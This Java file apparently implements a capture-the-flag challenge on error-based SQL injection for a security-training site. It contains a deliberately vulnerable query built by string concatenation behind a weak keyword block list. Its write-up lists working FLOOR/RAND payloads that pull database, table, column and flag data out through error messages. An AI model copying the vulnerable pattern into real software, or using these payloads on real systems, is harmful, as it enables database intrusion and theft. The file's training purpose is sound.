package tum0r.server.problem.web.sql_injection.error;

import tum0r.generate_code.database.DB;
import tum0r.model.ProblemInfoItem;
import tum0r.model.ProblemLevel;
import tum0r.server.problem.ProblemBase;
import tum0r.utils.extension.StringExtension;
import tum0r.webengine.annotation.Param;
import tum0r.webengine.annotation.Server;
import tum0r.webengine.model.server.ErrorMessage;
import tum0r.webengine.utils.server.action.Action;

/**
 * 工程: Security<br>
 * 包: tum0r.server.problem.web.sql_injection.error<br>
 * 创建者: tum0r<br>
 * 创建时间: 2021/3/24 19:03<br>
 * <br>
 */
@Server(Mapping = "/security/problem/web/sql_injection/error/floor")
public class Floor extends ProblemBase {
    public Floor() {
        information.ProblemTitle = "有趣的SQL注入——报错注入之Floor注入";
        information.ProblemID = 5;
        information.Creator = "tum0r";
        information.ProblemLevel = ProblemLevel.FUNNY;
        information.CreateTime = "2020/03/24";
        ProblemInfoItem problem = new ProblemInfoItem("problem", null);
        problem.addParameter("id", "String");
        problem.addParameter("log", "String");
        information.ProblemInfo.add(problem);
    }

    @Override
    public void description(Action<String> action) {
        action.callBack("这世界上有10种人，一种是懂二进制的，一种是不懂二进制的，那么怎么分组呢？");
    }

    @Override
    public void tips(Action<String> action) {
        action.callBack("如果觉得太难了就在地址上添加log=1打开数据库错误返回");
    }

    @Override
    public void writeUp(Action<String> action) {
        String result = """
                0、本题只返回了找到几条新闻，测试发现是字符型注入，看tips发现在参数里添加log=1可以打开数据库的报错回显
                                
                1、使用FLOOR结合COUNT和GROUP BY进行报错注入
                                
                2、获取数据库名
                problem?log=1&id=1'%20AND%20(SELECT%201%20FROM%20(SELECT%20COUNT(1)%2CCONCAT(DATABASE()%2C'~'%2CFLOOR(RAND(0)*2))%20AS%20p%20FROM%20information_schema.TABLES%20GROUP%20BY%20p)%20AS%20t0)%20%23
                                
                3、获取表名
                problem?log=1&id=1'%20AND%20(SELECT%201%20FROM%20(SELECT%20COUNT(1)%2CCONCAT((SELECT%20GROUP_CONCAT(TABLE_NAME)%20FROM%20information_schema.TABLES%20WHERE%20TABLE_SCHEMA%20%3D%20'security')%2C'~'%2CFLOOR(RAND(0)*2))%20AS%20p%20FROM%20information_schema.TABLES%20GROUP%20BY%20p)%20AS%20t0)%20%23
                                
                4、获取f1ag表的字段名
                problem?log=1&id=1'%20AND%20(SELECT%201%20FROM%20(SELECT%20COUNT(1)%2CCONCAT((SELECT%20GROUP_CONCAT(COLUMN_NAME)%20FROM%20information_schema.%60COLUMNS%60%20WHERE%20TABLE_NAME%20%3D%20'f1ag')%2C'~'%2CFLOOR(RAND(0)*2))%20AS%20p%20FROM%20information_schema.TABLES%20GROUP%20BY%20p)%20AS%20t0)%20%23
                                
                5、根据本题的ProblemID获取flag
                problem?log=1&id=1'%20AND%20(SELECT%201%20FROM%20(SELECT%20COUNT(1)%2CCONCAT((SELECT%20GROUP_CONCAT(Fla9)%20FROM%20f1ag%20WHERE%20ProblemID%20%3D%205)%2C'~'%2CFLOOR(RAND(0)*2))%20AS%20p%20FROM%20information_schema.TABLES%20GROUP%20BY%20p)%20AS%20t0)%20%23
                """;
        action.callBack(result);
    }

    public void problem(@Param("id") String id, @Param("log") int log, Action<String> action) throws ErrorMessage {
        action.check(StringExtension.isNotNullOrEmpty(id) && (id.toLowerCase().contains("updatexml") || id.toLowerCase().contains("exp")), "id包含不合法关键词");

        String sql = "SELECT * FROM news WHERE ID = '" + id + "'";
        String error = null;
        int result = 0;
        try {
            result = DB._Write._DAO.selectValue(sql, int.class);
        } catch (Exception e) {
            error = e.toString();
        }

        if (log == 1 && error != null) {
            action.callBack(error);
        } else {
            action.callBack("获取到 " + result + " 条新闻");
        }
    }
}
